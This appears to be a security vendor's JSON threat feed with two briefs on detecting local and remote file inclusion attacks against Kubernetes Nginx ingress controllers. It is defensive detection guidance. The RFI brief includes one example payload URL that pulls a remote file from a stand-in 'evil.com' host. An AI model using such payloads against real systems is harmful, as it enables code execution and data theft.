{"description":"Trending threats, MITRE ATT\u0026CK coverage, and detection metadata. Fed continuously.","feed_url":"https://feed.craftedsignal.io/products/nginx-ingress-controller/feed.json","home_page_url":"https://feed.craftedsignal.io/","items":[{"_cs_actors":[],"_cs_cpes":[],"_cs_cves":[],"_cs_exploited":false,"_cs_has_poc":false,"_cs_poc_references":[],"_cs_products":["Nginx Ingress Controller"],"_cs_severities":["high"],"_cs_tags":["kubernetes","lfi","nginx","ingress","cloud"],"_cs_type":"advisory","_cs_vendors":["Kubernetes","Nginx"],"content_html":"\u003cp\u003eThis brief focuses on detecting local file inclusion (LFI) attacks targeting Kubernetes Nginx ingress controllers. These attacks are identified by analyzing Kubernetes logs for suspicious patterns indicative of LFI attempts. The detection leverages Kubernetes logs, specifically parsing the \u003ccode\u003erequest\u003c/code\u003e field to identify LFI patterns. Successful exploitation can lead to attackers reading sensitive files from the server, potentially exposing critical information. This activity is significant because it can lead to unauthorized access to sensitive data, further exploitation, and potential compromise of the Kubernetes environment. The provided detection logic originates from Splunk's security content and is designed to work with Kubernetes logs ingested via Splunk Connect for Kubernetes.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker identifies a Kubernetes Nginx ingress controller vulnerable to LFI.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious HTTP request containing an LFI payload within the URL. This payload aims to access sensitive files on the server.\u003c/li\u003e\n\u003cli\u003eThe crafted request is sent to the Kubernetes Nginx ingress controller.\u003c/li\u003e\n\u003cli\u003eThe Nginx ingress controller processes the request and attempts to access the file specified in the malicious payload.\u003c/li\u003e\n\u003cli\u003eIf the LFI vulnerability is successfully exploited, the targeted file's contents are exposed to the attacker.\u003c/li\u003e\n\u003cli\u003eThe attacker retrieves the contents of the sensitive file from the HTTP response.\u003c/li\u003e\n\u003cli\u003eThe attacker analyzes the exfiltrated file contents for sensitive information, such as credentials or configuration details.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful LFI attack against a Kubernetes Nginx ingress controller can lead to the exposure of sensitive data, potentially including configuration files, credentials, or internal application code. This can lead to further exploitation, such as privilege escalation or lateral movement within the Kubernetes cluster. The number of affected systems and organizations depends on the scope of the vulnerable ingress controllers.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the provided Sigma rule to your SIEM to detect LFI attempts against Kubernetes Nginx ingress controllers based on suspicious URL patterns and log data.\u003c/li\u003e\n\u003cli\u003eEnsure that Kubernetes logs are being ingested through Splunk Connect for Kubernetes, as this is a prerequisite for the detection logic.\u003c/li\u003e\n\u003cli\u003eInvestigate and remediate any identified LFI vulnerabilities in Kubernetes Nginx ingress controllers to prevent successful exploitation.\u003c/li\u003e\n\u003cli\u003eUse the provided drilldown searches to pivot into detection results based on host and risk events.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-09T12:00:00Z","date_published":"2024-01-09T12:00:00Z","id":"https://feed.craftedsignal.io/briefs/2024-01-09-kubernetes-nginx-lfi/","summary":"Detection of local file inclusion (LFI) attacks targeting Kubernetes Nginx ingress controllers through analysis of Kubernetes logs.","title":"Kubernetes Nginx Ingress LFI Attack","url":"https://feed.craftedsignal.io/briefs/2024-01-09-kubernetes-nginx-lfi/"},{"_cs_actors":[],"_cs_cpes":[],"_cs_cves":[],"_cs_exploited":false,"_cs_has_poc":false,"_cs_poc_references":[],"_cs_products":["Nginx Ingress Controller","Kubernetes"],"_cs_severities":["medium"],"_cs_tags":["kubernetes","nginx","rfi","remote file inclusion","cloud"],"_cs_type":"advisory","_cs_vendors":["Nginx","Kubernetes"],"content_html":"\u003cp\u003eThis analytic focuses on detecting Remote File Inclusion (RFI) attacks against Kubernetes Nginx ingress controllers. RFI attacks exploit vulnerabilities that allow an attacker to include remote files, potentially leading to arbitrary code execution or access to sensitive information. The detection logic parses Kubernetes logs from the Nginx ingress controller, specifically examining the request URLs for suspicious patterns indicative of RFI attempts. Successful exploitation could grant attackers unauthorized access, facilitate data exfiltration, or further compromise the Kubernetes environment. This activity is particularly relevant for organizations using Kubernetes to host web applications and services, as ingress controllers act as the entry point for external traffic.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker identifies a Kubernetes Nginx ingress controller exposed to the internet.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious HTTP request containing a URL designed to exploit an RFI vulnerability. This URL often includes parameters that attempt to include remote files (e.g., \u003ccode\u003ehttp://example.com/index.php?file=http://evil.com/malicious.txt\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe attacker sends the malicious request to the Kubernetes Nginx ingress controller.\u003c/li\u003e\n\u003cli\u003eThe Nginx ingress controller processes the request and attempts to include the remote file specified in the URL.\u003c/li\u003e\n\u003cli\u003eIf the RFI vulnerability is successfully exploited, the attacker's malicious code or script is executed by the Nginx ingress controller.\u003c/li\u003e\n\u003cli\u003eThe attacker gains unauthorized access to the Kubernetes environment or sensitive data.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the compromised ingress controller as a launchpad for further attacks within the Kubernetes cluster, such as lateral movement or data exfiltration.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful RFI attacks on Kubernetes Nginx ingress controllers can have significant consequences. Attackers can gain unauthorized access to sensitive data, including application code, configuration files, and credentials. They can also execute arbitrary code, potentially leading to a complete compromise of the Kubernetes cluster. The impact can range from data breaches and service disruptions to the deployment of malicious containers and the exfiltration of confidential information. The specific consequences depend on the nature of the targeted application and the attacker's objectives.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eEnable and review Kubernetes container controller logs to capture relevant HTTP request data, as indicated by the \u003ccode\u003ekubernetes_container_controller\u003c/code\u003e macro in the search query.\u003c/li\u003e\n\u003cli\u003eDeploy the provided Sigma rule (\u003ccode\u003eKubernetes Nginx Ingress RFI Detection\u003c/code\u003e) to identify suspicious URL patterns indicative of RFI attempts. Tune the rule based on your specific environment and application characteristics.\u003c/li\u003e\n\u003cli\u003eImplement regular vulnerability scanning and penetration testing of your Kubernetes Nginx ingress controllers to identify and remediate potential RFI vulnerabilities.\u003c/li\u003e\n\u003cli\u003eEnsure that your Nginx ingress controller is configured with the latest security patches and updates to mitigate known vulnerabilities.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T12:00:00Z","date_published":"2024-01-03T12:00:00Z","id":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-nginx-ingress-rfi/","summary":"This analytic detects remote file inclusion (RFI) attacks targeting Kubernetes Nginx ingress controllers by analyzing Kubernetes logs from the Nginx ingress controller and identifying suspicious URL requests, potentially leading to arbitrary code execution or sensitive data access.","title":"Kubernetes Nginx Ingress Remote File Inclusion Attempt","url":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-nginx-ingress-rfi/"}],"language":"en","title":"CraftedSignal Threat Feed - Nginx Ingress Controller","version":"https://jsonfeed.org/version/1.1"}